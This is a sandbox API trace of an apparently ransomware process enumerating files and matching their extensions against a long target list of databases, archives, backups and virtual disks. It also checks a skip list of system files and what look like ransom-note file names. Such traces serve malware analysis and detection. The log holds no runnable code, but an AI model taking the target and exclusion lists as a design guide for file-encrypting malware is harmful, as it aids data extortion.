	[0057.676] lstrlenW (lpString="Apollon865") returned 10
	[0057.676] lstrlenW (lpString=".dll") returned 4
	[0057.676] lstrcmpiW (lpString1="Flash.CHS", lpString2=".dll") returned 1
	[0057.676] lstrlenW (lpString=".lnk") returned 4
	[0057.676] lstrcmpiW (lpString1="Flash.CHS", lpString2=".lnk") returned 1
	[0057.676] lstrlenW (lpString=".ini") returned 4
	[0057.676] lstrcmpiW (lpString1="Flash.CHS", lpString2=".ini") returned 1
	[0057.676] lstrlenW (lpString=".sys") returned 4
	[0057.676] lstrcmpiW (lpString1="Flash.CHS", lpString2=".sys") returned 1
	[0057.676] lstrlenW (lpString="Flash.CHS") returned 9
	[0057.676] lstrlenW (lpString="bak") returned 3
	[0057.676] lstrcmpiW (lpString1="CHS", lpString2="bak") returned 1
	[0057.676] lstrlenW (lpString="ba_") returned 3
	[0057.676] lstrcmpiW (lpString1="CHS", lpString2="ba_") returned 1
	[0057.676] lstrlenW (lpString="dbb") returned 3
	[0057.677] lstrcmpiW (lpString1="CHS", lpString2="dbb") returned -1
	[0057.677] lstrlenW (lpString="vmdk") returned 4
	[0057.677] lstrcmpiW (lpString1=".CHS", lpString2="vmdk") returned -1
	[0057.677] lstrlenW (lpString="rar") returned 3
	[0057.677] lstrcmpiW (lpString1="CHS", lpString2="rar") returned -1
	[0057.677] lstrlenW (lpString="zip") returned 3
	[0057.677] lstrcmpiW (lpString1="CHS", lpString2="zip") returned -1
	[0057.677] lstrlenW (lpString="tgz") returned 3
	[0057.677] lstrcmpiW (lpString1="CHS", lpString2="tgz") returned -1
	[0057.677] lstrlenW (lpString="vbox") returned 4
	[0057.677] lstrcmpiW (lpString1=".CHS", lpString2="vbox") returned -1
	[0057.677] lstrlenW (lpString="vdi") returned 3
	[0057.677] lstrcmpiW (lpString1="CHS", lpString2="vdi") returned -1
	[0057.677] lstrlenW (lpString="vhd") returned 3
	[0057.677] lstrcmpiW (lpString1="CHS", lpString2="vhd") returned -1
	[0057.677] lstrlenW (lpString="vhdx") returned 4
	[0057.677] lstrcmpiW (lpString1=".CHS", lpString2="vhdx") returned -1
	[0057.677] lstrlenW (lpString="avhd") returned 4
	[0057.677] lstrcmpiW (lpString1=".CHS", lpString2="avhd") returned -1
	[0057.677] lstrlenW (lpString="db") returned 2
	[0057.677] lstrcmpiW (lpString1="HS", lpString2="db") returned 1
	[0057.677] lstrlenW (lpString="db2") returned 3
	[0057.677] lstrcmpiW (lpString1="CHS", lpString2="db2") returned -1
	[0057.677] lstrlenW (lpString="db3") returned 3
	[0057.677] lstrcmpiW (lpString1="CHS", lpString2="db3") returned -1
	[0057.677] lstrlenW (lpString="dbf") returned 3
	[0057.677] lstrcmpiW (lpString1="CHS", lpString2="dbf") returned -1
	[0057.677] lstrlenW (lpString="mdf") returned 3
	[0057.677] lstrcmpiW (lpString1="CHS", lpString2="mdf") returned -1
	[0057.677] lstrlenW (lpString="mdb") returned 3
	[0057.677] lstrcmpiW (lpString1="CHS", lpString2="mdb") returned -1
	[0057.677] lstrlenW (lpString="sql") returned 3
	[0057.677] lstrcmpiW (lpString1="CHS", lpString2="sql") returned -1
	[0057.677] lstrlenW (lpString="sqlite") returned 6
	[0057.677] lstrcmpiW (lpString1="sh.CHS", lpString2="sqlite") returned -1
	[0057.677] lstrlenW (lpString="sqlite3") returned 7
	[0057.678] lstrcmpiW (lpString1="ash.CHS", lpString2="sqlite3") returned -1
	[0057.678] lstrlenW (lpString="sqlitedb") returned 8
	[0057.678] lstrcmpiW (lpString1="lash.CHS", lpString2="sqlitedb") returned -1
	[0057.678] lstrlenW (lpString="xml") returned 3
	[0057.678] lstrcmpiW (lpString1="CHS", lpString2="xml") returned -1
	[0057.678] lstrlenW (lpString="$er") returned 3
	[0057.678] lstrcmpiW (lpString1="CHS", lpString2="$er") returned 1
	[0057.678] lstrlenW (lpString="4dd") returned 3
	[0057.678] lstrcmpiW (lpString1="CHS", lpString2="4dd") returned 1
	[0057.678] lstrlenW (lpString="4dl") returned 3
	[0057.678] lstrcmpiW (lpString1="CHS", lpString2="4dl") returned 1
	[0057.678] lstrlenW (lpString="^^^") returned 3
	[0057.678] lstrcmpiW (lpString1="CHS", lpString2="^^^") returned 1
	[0057.678] lstrlenW (lpString="abs") returned 3
	[0057.678] lstrcmpiW (lpString1="CHS", lpString2="abs") returned 1
	[0057.678] lstrlenW (lpString="abx") returned 3
	[0057.678] lstrcmpiW (lpString1="CHS", lpString2="abx") returned 1
	[0057.678] lstrlenW (lpString="accdb") returned 5
	[0057.678] lstrcmpiW (lpString1="h.CHS", lpString2="accdb") returned 1
	[0057.678] lstrlenW (lpString="accdc") returned 5
	[0057.678] lstrcmpiW (lpString1="h.CHS", lpString2="accdc") returned 1
	[0057.678] lstrlenW (lpString="accde") returned 5
	[0057.678] lstrcmpiW (lpString1="h.CHS", lpString2="accde") returned 1
	[0057.678] lstrlenW (lpString="accdr") returned 5
	[0057.678] lstrcmpiW (lpString1="h.CHS", lpString2="accdr") returned 1
	[0057.678] lstrlenW (lpString="accdt") returned 5
	[0057.678] lstrcmpiW (lpString1="h.CHS", lpString2="accdt") returned 1
	[0057.678] lstrlenW (lpString="accdw") returned 5
	[0057.678] lstrcmpiW (lpString1="h.CHS", lpString2="accdw") returned 1
	[0057.678] lstrlenW (lpString="accft") returned 5
	[0057.678] lstrcmpiW (lpString1="h.CHS", lpString2="accft") returned 1
	[0057.678] lstrlenW (lpString="adb") returned 3
	[0057.678] lstrcmpiW (lpString1="CHS", lpString2="adb") returned 1
	[0057.678] lstrlenW (lpString="adb") returned 3
	[0057.678] lstrcmpiW (lpString1="CHS", lpString2="adb") returned 1
	[0057.679] lstrlenW (lpString="ade") returned 3
	[0057.679] lstrcmpiW (lpString1="CHS", lpString2="ade") returned 1
	[0057.679] lstrlenW (lpString="adf") returned 3
	[0057.679] lstrcmpiW (lpString1="CHS", lpString2="adf") returned 1
	[0057.679] lstrlenW (lpString="adn") returned 3
	[0057.679] lstrcmpiW (lpString1="CHS", lpString2="adn") returned 1
	[0057.679] lstrlenW (lpString="adp") returned 3
	[0057.679] lstrcmpiW (lpString1="CHS", lpString2="adp") returned 1
	[0057.679] lstrlenW (lpString="alf") returned 3
	[0057.679] lstrcmpiW (lpString1="CHS", lpString2="alf") returned 1
	[0057.679] lstrlenW (lpString="ask") returned 3
	[0057.679] lstrcmpiW (lpString1="CHS", lpString2="ask") returned 1
	[0057.679] lstrlenW (lpString="btr") returned 3
	[0057.679] lstrcmpiW (lpString1="CHS", lpString2="btr") returned 1
	[0057.679] lstrlenW (lpString="cat") returned 3
	[0057.679] lstrcmpiW (lpString1="CHS", lpString2="cat") returned 1
	[0057.679] lstrlenW (lpString="cdb") returned 3
	[0057.679] lstrcmpiW (lpString1="CHS", lpString2="cdb") returned 1
	[0057.679] lstrlenW (lpString="ckp") returned 3
	[0057.679] lstrcmpiW (lpString1="CHS", lpString2="ckp") returned -1
	[0057.679] lstrlenW (lpString="cma") returned 3
	[0057.679] lstrcmpiW (lpString1="CHS", lpString2="cma") returned -1
	[0057.679] lstrlenW (lpString="cpd") returned 3
	[0057.679] lstrcmpiW (lpString1="CHS", lpString2="cpd") returned -1
	[0057.679] lstrlenW (lpString="dacpac") returned 6
	[0057.679] lstrcmpiW (lpString1="sh.CHS", lpString2="dacpac") returned 1
	[0057.679] lstrlenW (lpString="dad") returned 3
	[0057.679] lstrcmpiW (lpString1="CHS", lpString2="dad") returned -1
	[0057.679] lstrlenW (lpString="dadiagrams") returned 10
	[0057.679] lstrlenW (lpString="daschema") returned 8
	[0057.679] lstrcmpiW (lpString1="lash.CHS", lpString2="daschema") returned 1
	[0057.679] lstrlenW (lpString="db-journal") returned 10
	[0057.679] lstrlenW (lpString="db-shm") returned 6
	[0057.679] lstrcmpiW (lpString1="sh.CHS", lpString2="db-shm") returned 1
	[0057.679] lstrlenW (lpString="db-wal") returned 6
	[0057.679] lstrcmpiW (lpString1="sh.CHS", lpString2="db-wal") returned 1
	[0057.679] lstrlenW (lpString="dbc") returned 3
	[0057.680] lstrcmpiW (lpString1="CHS", lpString2="dbc") returned -1
	[0057.680] lstrlenW (lpString="dbs") returned 3
	[0057.680] lstrcmpiW (lpString1="CHS", lpString2="dbs") returned -1
	[0057.680] lstrlenW (lpString="dbt") returned 3
	[0057.680] lstrcmpiW (lpString1="CHS", lpString2="dbt") returned -1
	[0057.680] lstrlenW (lpString="dbv") returned 3
	[0057.680] lstrcmpiW (lpString1="CHS", lpString2="dbv") returned -1
	[0057.680] lstrlenW (lpString="dbx") returned 3
	[0057.680] lstrcmpiW (lpString1="CHS", lpString2="dbx") returned -1
	[0057.680] lstrlenW (lpString="dcb") returned 3
	[0057.680] lstrcmpiW (lpString1="CHS", lpString2="dcb") returned -1
	[0057.680] lstrlenW (lpString="dct") returned 3
	[0057.680] lstrcmpiW (lpString1="CHS", lpString2="dct") returned -1
	[0057.680] lstrlenW (lpString="dcx") returned 3
	[0057.680] lstrcmpiW (lpString1="CHS", lpString2="dcx") returned -1
	[0057.680] lstrlenW (lpString="ddl") returned 3
	[0057.680] lstrcmpiW (lpString1="CHS", lpString2="ddl") returned -1
	[0057.680] lstrlenW (lpString="dlis") returned 4
	[0057.680] lstrcmpiW (lpString1=".CHS", lpString2="dlis") returned -1
	[0057.680] lstrlenW (lpString="dp1") returned 3
	[0057.680] lstrcmpiW (lpString1="CHS", lpString2="dp1") returned -1
	[0057.680] lstrlenW (lpString="dqy") returned 3
	[0057.680] lstrcmpiW (lpString1="CHS", lpString2="dqy") returned -1
	[0057.680] lstrlenW (lpString="dsk") returned 3
	[0057.680] lstrcmpiW (lpString1="CHS", lpString2="dsk") returned -1
	[0057.680] lstrlenW (lpString="dsn") returned 3
	[0057.680] lstrcmpiW (lpString1="CHS", lpString2="dsn") returned -1
	[0057.680] lstrlenW (lpString="dtsx") returned 4
	[0057.680] lstrcmpiW (lpString1=".CHS", lpString2="dtsx") returned -1
	[0057.680] lstrlenW (lpString="dxl") returned 3
	[0057.680] lstrcmpiW (lpString1="CHS", lpString2="dxl") returned -1
	[0057.680] lstrlenW (lpString="eco") returned 3
	[0057.680] lstrcmpiW (lpString1="CHS", lpString2="eco") returned -1
	[0057.680] lstrlenW (lpString="ecx") returned 3
	[0057.680] lstrcmpiW (lpString1="CHS", lpString2="ecx") returned -1
	[0057.680] lstrlenW (lpString="edb") returned 3
	[0057.680] lstrcmpiW (lpString1="CHS", lpString2="edb") returned -1
	[0057.681] lstrlenW (lpString="epim") returned 4
	[0057.681] lstrcmpiW (lpString1=".CHS", lpString2="epim") returned -1
	[0057.681] lstrlenW (lpString="fcd") returned 3
	[0057.681] lstrcmpiW (lpString1="CHS", lpString2="fcd") returned -1
	[0057.681] lstrlenW (lpString="fdb") returned 3
	[0057.681] lstrcmpiW (lpString1="CHS", lpString2="fdb") returned -1
	[0057.681] lstrlenW (lpString="fic") returned 3
	[0057.681] lstrcmpiW (lpString1="CHS", lpString2="fic") returned -1
	[0057.681] lstrlenW (lpString="flexolibrary") returned 12
	[0057.681] lstrlenW (lpString="fm5") returned 3
	[0057.681] lstrcmpiW (lpString1="CHS", lpString2="fm5") returned -1
	[0057.681] lstrlenW (lpString="fmp") returned 3
	[0057.681] lstrcmpiW (lpString1="CHS", lpString2="fmp") returned -1
	[0057.681] lstrlenW (lpString="fmp12") returned 5
	[0057.681] lstrcmpiW (lpString1="h.CHS", lpString2="fmp12") returned 1
	[0057.681] lstrlenW (lpString="fmpsl") returned 5
	[0057.681] lstrcmpiW (lpString1="h.CHS", lpString2="fmpsl") returned 1
	[0057.681] lstrlenW (lpString="fol") returned 3
	[0057.681] lstrcmpiW (lpString1="CHS", lpString2="fol") returned -1
	[0057.681] lstrlenW (lpString="fp3") returned 3
	[0057.681] lstrcmpiW (lpString1="CHS", lpString2="fp3") returned -1
	[0057.681] lstrlenW (lpString="fp4") returned 3
	[0057.681] lstrcmpiW (lpString1="CHS", lpString2="fp4") returned -1
	[0057.681] lstrlenW (lpString="fp5") returned 3
	[0057.681] lstrcmpiW (lpString1="CHS", lpString2="fp5") returned -1
	[0057.681] lstrlenW (lpString="fp7") returned 3
	[0057.681] lstrcmpiW (lpString1="CHS", lpString2="fp7") returned -1
	[0057.681] lstrlenW (lpString="fpt") returned 3
	[0057.681] lstrcmpiW (lpString1="CHS", lpString2="fpt") returned -1
	[0057.681] lstrlenW (lpString="frm") returned 3
	[0057.681] lstrcmpiW (lpString1="CHS", lpString2="frm") returned -1
	[0057.681] lstrlenW (lpString="gdb") returned 3
	[0057.681] lstrcmpiW (lpString1="CHS", lpString2="gdb") returned -1
	[0057.681] lstrlenW (lpString="gdb") returned 3
	[0057.681] lstrcmpiW (lpString1="CHS", lpString2="gdb") returned -1
	[0057.681] lstrlenW (lpString="grdb") returned 4
	[0057.682] lstrcmpiW (lpString1=".CHS", lpString2="grdb") returned -1
	[0057.682] lstrlenW (lpString="gwi") returned 3
	[0057.682] lstrcmpiW (lpString1="CHS", lpString2="gwi") returned -1
	[0057.682] lstrlenW (lpString="hdb") returned 3
	[0057.682] lstrcmpiW (lpString1="CHS", lpString2="hdb") returned -1
	[0057.682] lstrlenW (lpString="his") returned 3
	[0057.682] lstrcmpiW (lpString1="CHS", lpString2="his") returned -1
	[0057.682] lstrlenW (lpString="ib") returned 2
	[0057.682] lstrcmpiW (lpString1="HS", lpString2="ib") returned -1
	[0057.682] lstrlenW (lpString="idb") returned 3
	[0057.682] lstrcmpiW (lpString1="CHS", lpString2="idb") returned -1
	[0057.682] lstrlenW (lpString="ihx") returned 3
	[0057.682] lstrcmpiW (lpString1="CHS", lpString2="ihx") returned -1
	[0057.682] lstrlenW (lpString="itdb") returned 4
	[0057.682] lstrcmpiW (lpString1=".CHS", lpString2="itdb") returned -1
	[0057.682] lstrlenW (lpString="itw") returned 3
	[0057.682] lstrcmpiW (lpString1="CHS", lpString2="itw") returned -1
	[0057.682] lstrlenW (lpString="jet") returned 3
	[0057.682] lstrcmpiW (lpString1="CHS", lpString2="jet") returned -1
	[0057.682] lstrlenW (lpString="jtx") returned 3
	[0057.682] lstrcmpiW (lpString1="CHS", lpString2="jtx") returned -1
	[0057.682] lstrlenW (lpString="kdb") returned 3
	[0057.682] lstrcmpiW (lpString1="CHS", lpString2="kdb") returned -1
	[0057.682] lstrlenW (lpString="kexi") returned 4
	[0057.682] lstrcmpiW (lpString1=".CHS", lpString2="kexi") returned -1
	[0057.682] lstrlenW (lpString="kexic") returned 5
	[0057.682] lstrcmpiW (lpString1="h.CHS", lpString2="kexic") returned -1
	[0057.682] lstrlenW (lpString="kexis") returned 5
	[0057.682] lstrcmpiW (lpString1="h.CHS", lpString2="kexis") returned -1
	[0057.682] lstrlenW (lpString="lgc") returned 3
	[0057.682] lstrcmpiW (lpString1="CHS", lpString2="lgc") returned -1
	[0057.682] lstrlenW (lpString="lwx") returned 3
	[0057.682] lstrcmpiW (lpString1="CHS", lpString2="lwx") returned -1
	[0057.682] lstrlenW (lpString="maf") returned 3
	[0057.682] lstrcmpiW (lpString1="CHS", lpString2="maf") returned -1
	[0057.682] lstrlenW (lpString="maq") returned 3
	[0057.683] lstrcmpiW (lpString1="CHS", lpString2="maq") returned -1
	[0057.683] lstrlenW (lpString="mar") returned 3
	[0057.683] lstrcmpiW (lpString1="CHS", lpString2="mar") returned -1
	[0057.683] lstrlenW (lpString="marshal") returned 7
	[0057.683] lstrcmpiW (lpString1="ash.CHS", lpString2="marshal") returned -1
	[0057.683] lstrlenW (lpString="mas") returned 3
	[0057.683] lstrcmpiW (lpString1="CHS", lpString2="mas") returned -1
	[0057.683] lstrlenW (lpString="mav") returned 3
	[0057.683] lstrcmpiW (lpString1="CHS", lpString2="mav") returned -1
	[0057.683] lstrlenW (lpString="maw") returned 3
	[0057.683] lstrcmpiW (lpString1="CHS", lpString2="maw") returned -1
	[0057.683] lstrlenW (lpString="mdbhtml") returned 7
	[0057.683] lstrcmpiW (lpString1="ash.CHS", lpString2="mdbhtml") returned -1
	[0057.683] lstrlenW (lpString="mdn") returned 3
	[0057.683] lstrcmpiW (lpString1="CHS", lpString2="mdn") returned -1
	[0057.683] lstrlenW (lpString="mdt") returned 3
	[0057.683] lstrcmpiW (lpString1="CHS", lpString2="mdt") returned -1
	[0057.683] lstrlenW (lpString="mfd") returned 3
	[0057.683] lstrcmpiW (lpString1="CHS", lpString2="mfd") returned -1
	[0057.683] lstrlenW (lpString="mpd") returned 3
	[0057.683] lstrcmpiW (lpString1="CHS", lpString2="mpd") returned -1
	[0057.683] lstrlenW (lpString="mrg") returned 3
	[0057.683] lstrcmpiW (lpString1="CHS", lpString2="mrg") returned -1
	[0057.683] lstrlenW (lpString="mud") returned 3
	[0057.683] lstrcmpiW (lpString1="CHS", lpString2="mud") returned -1
	[0057.683] lstrlenW (lpString="mwb") returned 3
	[0057.683] lstrcmpiW (lpString1="CHS", lpString2="mwb") returned -1
	[0057.683] lstrlenW (lpString="myd") returned 3
	[0057.683] lstrcmpiW (lpString1="CHS", lpString2="myd") returned -1
	[0057.683] lstrlenW (lpString="ndf") returned 3
	[0057.683] lstrcmpiW (lpString1="CHS", lpString2="ndf") returned -1
	[0057.683] lstrlenW (lpString="nnt") returned 3
	[0057.683] lstrcmpiW (lpString1="CHS", lpString2="nnt") returned -1
	[0057.683] lstrlenW (lpString="nrmlib") returned 6
	[0057.683] lstrcmpiW (lpString1="sh.CHS", lpString2="nrmlib") returned 1
	[0057.683] lstrlenW (lpString="ns2") returned 3
	[0057.684] lstrcmpiW (lpString1="CHS", lpString2="ns2") returned -1
	[0057.684] lstrlenW (lpString="ns3") returned 3
	[0057.684] lstrcmpiW (lpString1="CHS", lpString2="ns3") returned -1
	[0057.684] lstrlenW (lpString="ns4") returned 3
	[0057.684] lstrcmpiW (lpString1="CHS", lpString2="ns4") returned -1
	[0057.684] lstrlenW (lpString="nsf") returned 3
	[0057.684] lstrcmpiW (lpString1="CHS", lpString2="nsf") returned -1
	[0057.684] lstrlenW (lpString="nv") returned 2
	[0057.684] lstrcmpiW (lpString1="HS", lpString2="nv") returned -1
	[0057.684] lstrlenW (lpString="nv2") returned 3
	[0057.684] lstrcmpiW (lpString1="CHS", lpString2="nv2") returned -1
	[0057.684] lstrlenW (lpString="nwdb") returned 4
	[0057.684] lstrcmpiW (lpString1=".CHS", lpString2="nwdb") returned -1
	[0057.684] lstrlenW (lpString="nyf") returned 3
	[0057.684] lstrcmpiW (lpString1="CHS", lpString2="nyf") returned -1
	[0057.684] lstrlenW (lpString="odb") returned 3
	[0057.684] lstrcmpiW (lpString1="CHS", lpString2="odb") returned -1
	[0057.684] lstrlenW (lpString="odb") returned 3
	[0057.684] lstrcmpiW (lpString1="CHS", lpString2="odb") returned -1
	[0057.684] lstrlenW (lpString="oqy") returned 3
	[0057.684] lstrcmpiW (lpString1="CHS", lpString2="oqy") returned -1
	[0057.684] lstrlenW (lpString="ora") returned 3
	[0057.684] lstrcmpiW (lpString1="CHS", lpString2="ora") returned -1
	[0057.684] lstrlenW (lpString="orx") returned 3
	[0057.684] lstrcmpiW (lpString1="CHS", lpString2="orx") returned -1
	[0057.684] lstrlenW (lpString="owc") returned 3
	[0057.684] lstrcmpiW (lpString1="CHS", lpString2="owc") returned -1
	[0057.684] lstrlenW (lpString="p96") returned 3
	[0057.684] lstrcmpiW (lpString1="CHS", lpString2="p96") returned -1
	[0057.684] lstrlenW (lpString="p97") returned 3
	[0057.684] lstrcmpiW (lpString1="CHS", lpString2="p97") returned -1
	[0057.684] lstrlenW (lpString="pan") returned 3
	[0057.684] lstrcmpiW (lpString1="CHS", lpString2="pan") returned -1
	[0057.684] lstrlenW (lpString="pdb") returned 3
	[0057.684] lstrcmpiW (lpString1="CHS", lpString2="pdb") returned -1
	[0057.684] lstrlenW (lpString="pdm") returned 3
	[0057.684] lstrcmpiW (lpString1="CHS", lpString2="pdm") returned -1
	[0057.685] lstrlenW (lpString="pnz") returned 3
	[0057.685] lstrcmpiW (lpString1="CHS", lpString2="pnz") returned -1
	[0057.685] lstrlenW (lpString="qry") returned 3
	[0057.685] lstrcmpiW (lpString1="CHS", lpString2="qry") returned -1
	[0057.685] lstrlenW (lpString="qvd") returned 3
	[0057.685] lstrcmpiW (lpString1="CHS", lpString2="qvd") returned -1
	[0057.685] lstrlenW (lpString="rbf") returned 3
	[0057.685] lstrcmpiW (lpString1="CHS", lpString2="rbf") returned -1
	[0057.685] lstrlenW (lpString="rctd") returned 4
	[0057.685] lstrcmpiW (lpString1=".CHS", lpString2="rctd") returned -1
	[0057.685] lstrlenW (lpString="rod") returned 3
	[0057.685] lstrcmpiW (lpString1="CHS", lpString2="rod") returned -1
	[0057.685] lstrlenW (lpString="rodx") returned 4
	[0057.685] lstrcmpiW (lpString1=".CHS", lpString2="rodx") returned -1
	[0057.685] lstrlenW (lpString="rpd") returned 3
	[0057.685] lstrcmpiW (lpString1="CHS", lpString2="rpd") returned -1
	[0057.685] lstrlenW (lpString="rsd") returned 3
	[0057.685] lstrcmpiW (lpString1="CHS", lpString2="rsd") returned -1
	[0057.685] lstrlenW (lpString="sas7bdat") returned 8
	[0057.685] lstrcmpiW (lpString1="lash.CHS", lpString2="sas7bdat") returned -1
	[0057.685] lstrlenW (lpString="sbf") returned 3
	[0057.685] lstrcmpiW (lpString1="CHS", lpString2="sbf") returned -1
	[0057.685] lstrlenW (lpString="scx") returned 3
	[0057.685] lstrcmpiW (lpString1="CHS", lpString2="scx") returned -1
	[0057.685] lstrlenW (lpString="sdb") returned 3
	[0057.685] lstrcmpiW (lpString1="CHS", lpString2="sdb") returned -1
	[0057.685] lstrlenW (lpString="sdc") returned 3
	[0057.685] lstrcmpiW (lpString1="CHS", lpString2="sdc") returned -1
	[0057.685] lstrlenW (lpString="sdf") returned 3
	[0057.685] lstrcmpiW (lpString1="CHS", lpString2="sdf") returned -1
	[0057.685] lstrlenW (lpString="sis") returned 3
	[0057.685] lstrcmpiW (lpString1="CHS", lpString2="sis") returned -1
	[0057.685] lstrlenW (lpString="spq") returned 3
	[0057.685] lstrcmpiW (lpString1="CHS", lpString2="spq") returned -1
	[0057.685] lstrlenW (lpString="te") returned 2
	[0057.686] lstrcmpiW (lpString1="HS", lpString2="te") returned -1
	[0057.686] lstrlenW (lpString="teacher") returned 7
	[0057.686] lstrcmpiW (lpString1="ash.CHS", lpString2="teacher") returned -1
	[0057.686] lstrlenW (lpString="tmd") returned 3
	[0057.686] lstrcmpiW (lpString1="CHS", lpString2="tmd") returned -1
	[0057.686] lstrlenW (lpString="tps") returned 3
	[0057.686] lstrcmpiW (lpString1="CHS", lpString2="tps") returned -1
	[0057.686] lstrlenW (lpString="trc") returned 3
	[0057.686] lstrcmpiW (lpString1="CHS", lpString2="trc") returned -1
	[0057.686] lstrlenW (lpString="trc") returned 3
	[0057.686] lstrcmpiW (lpString1="CHS", lpString2="trc") returned -1
	[0057.686] lstrlenW (lpString="trm") returned 3
	[0057.686] lstrcmpiW (lpString1="CHS", lpString2="trm") returned -1
	[0057.686] lstrlenW (lpString="udb") returned 3
	[0057.686] lstrcmpiW (lpString1="CHS", lpString2="udb") returned -1
	[0057.686] lstrlenW (lpString="udl") returned 3
	[0057.686] lstrcmpiW (lpString1="CHS", lpString2="udl") returned -1
	[0057.686] lstrlenW (lpString="usr") returned 3
	[0057.686] lstrcmpiW (lpString1="CHS", lpString2="usr") returned -1
	[0057.686] lstrlenW (lpString="v12") returned 3
	[0057.686] lstrcmpiW (lpString1="CHS", lpString2="v12") returned -1
	[0057.686] lstrlenW (lpString="vis") returned 3
	[0057.686] lstrcmpiW (lpString1="CHS", lpString2="vis") returned -1
	[0057.686] lstrlenW (lpString="vpd") returned 3
	[0057.686] lstrcmpiW (lpString1="CHS", lpString2="vpd") returned -1
	[0057.686] lstrlenW (lpString="vvv") returned 3
	[0057.686] lstrcmpiW (lpString1="CHS", lpString2="vvv") returned -1
	[0057.686] lstrlenW (lpString="wdb") returned 3
	[0057.686] lstrcmpiW (lpString1="CHS", lpString2="wdb") returned -1
	[0057.686] lstrlenW (lpString="wmdb") returned 4
	[0057.686] lstrcmpiW (lpString1=".CHS", lpString2="wmdb") returned -1
	[0057.686] lstrlenW (lpString="wrk") returned 3
	[0057.686] lstrcmpiW (lpString1="CHS", lpString2="wrk") returned -1
	[0057.686] lstrlenW (lpString="xdb") returned 3
	[0057.686] lstrcmpiW (lpString1="CHS", lpString2="xdb") returned -1
	[0057.686] lstrlenW (lpString="xld") returned 3
	[0057.686] lstrcmpiW (lpString1="CHS", lpString2="xld") returned -1
	[0057.687] lstrlenW (lpString="xmlff") returned 5
	[0057.687] lstrcmpiW (lpString1="h.CHS", lpString2="xmlff") returned -1
	[0057.687] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Flash.CHT", cAlternateFileName="")) returned 1
	[0057.687] lstrcmpiW (lpString1="Flash.CHT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.687] lstrcmpiW (lpString1="Flash.CHT", lpString2="Apollon865.txt.exe") returned 1
	[0057.687] lstrcmpiW (lpString1="Flash.CHT", lpString2=".") returned 1
	[0057.687] lstrcmpiW (lpString1="Flash.CHT", lpString2="..") returned 1
	[0057.687] lstrcmpiW (lpString1="Flash.CHT", lpString2="windows") returned -1
	[0057.687] lstrcmpiW (lpString1="Flash.CHT", lpString2="bootmgr") returned 1
	[0057.687] lstrcmpiW (lpString1="Flash.CHT", lpString2="temp") returned -1
	[0057.687] lstrcmpiW (lpString1="Flash.CHT", lpString2="pagefile.sys") returned -1
	[0057.687] lstrcmpiW (lpString1="Flash.CHT", lpString2="boot") returned 1
	[0057.687] lstrcmpiW (lpString1="Flash.CHT", lpString2="ids.txt") returned -1
	[0057.687] lstrcmpiW (lpString1="Flash.CHT", lpString2="ntuser.dat") returned -1
	[0057.687] lstrcmpiW (lpString1="Flash.CHT", lpString2="perflogs") returned -1
	[0057.687] lstrcmpiW (lpString1="Flash.CHT", lpString2="MSBuild") returned -1
	[0057.687] lstrlenW (lpString="Flash.CHT") returned 9
	[0057.687] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CHS") returned 81
	[0057.687] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Flash.CHT" | out: lpString1="Flash.CHT") returned="Flash.CHT"
	[0057.687] lstrlenW (lpString="Flash.CHT") returned 9
	[0057.687] lstrlenW (lpString="Apollon865") returned 10
	[0057.687] lstrlenW (lpString=".dll") returned 4
	[0057.687] lstrcmpiW (lpString1="Flash.CHT", lpString2=".dll") returned 1
	[0057.687] lstrlenW (lpString=".lnk") returned 4
	[0057.687] lstrcmpiW (lpString1="Flash.CHT", lpString2=".lnk") returned 1
	[0057.687] lstrlenW (lpString=".ini") returned 4
	[0057.687] lstrcmpiW (lpString1="Flash.CHT", lpString2=".ini") returned 1
	[0057.687] lstrlenW (lpString=".sys") returned 4
	[0057.687] lstrcmpiW (lpString1="Flash.CHT", lpString2=".sys") returned 1
	[0057.687] lstrlenW (lpString="Flash.CHT") returned 9
	[0057.687] lstrlenW (lpString="bak") returned 3
	[0057.687] lstrcmpiW (lpString1="CHT", lpString2="bak") returned 1
	[0057.687] lstrlenW (lpString="ba_") returned 3
	[0057.687] lstrcmpiW (lpString1="CHT", lpString2="ba_") returned 1
	[0057.687] lstrlenW (lpString="dbb") returned 3
	[0057.688] lstrcmpiW (lpString1="CHT", lpString2="dbb") returned -1
	[0057.688] lstrlenW (lpString="vmdk") returned 4
	[0057.688] lstrcmpiW (lpString1=".CHT", lpString2="vmdk") returned -1
	[0057.688] lstrlenW (lpString="rar") returned 3
	[0057.688] lstrcmpiW (lpString1="CHT", lpString2="rar") returned -1
	[0057.688] lstrlenW (lpString="zip") returned 3
	[0057.688] lstrcmpiW (lpString1="CHT", lpString2="zip") returned -1
	[0057.688] lstrlenW (lpString="tgz") returned 3
	[0057.688] lstrcmpiW (lpString1="CHT", lpString2="tgz") returned -1
	[0057.688] lstrlenW (lpString="vbox") returned 4
	[0057.688] lstrcmpiW (lpString1=".CHT", lpString2="vbox") returned -1
	[0057.688] lstrlenW (lpString="vdi") returned 3
	[0057.688] lstrcmpiW (lpString1="CHT", lpString2="vdi") returned -1
	[0057.688] lstrlenW (lpString="vhd") returned 3
	[0057.688] lstrcmpiW (lpString1="CHT", lpString2="vhd") returned -1
	[0057.688] lstrlenW (lpString="vhdx") returned 4
	[0057.688] lstrcmpiW (lpString1=".CHT", lpString2="vhdx") returned -1
	[0057.688] lstrlenW (lpString="avhd") returned 4
	[0057.688] lstrcmpiW (lpString1=".CHT", lpString2="avhd") returned -1
	[0057.688] lstrlenW (lpString="db") returned 2
	[0057.688] lstrcmpiW (lpString1="HT", lpString2="db") returned 1
	[0057.688] lstrlenW (lpString="db2") returned 3
	[0057.688] lstrcmpiW (lpString1="CHT", lpString2="db2") returned -1
	[0057.688] lstrlenW (lpString="db3") returned 3
	[0057.688] lstrcmpiW (lpString1="CHT", lpString2="db3") returned -1
	[0057.688] lstrlenW (lpString="dbf") returned 3
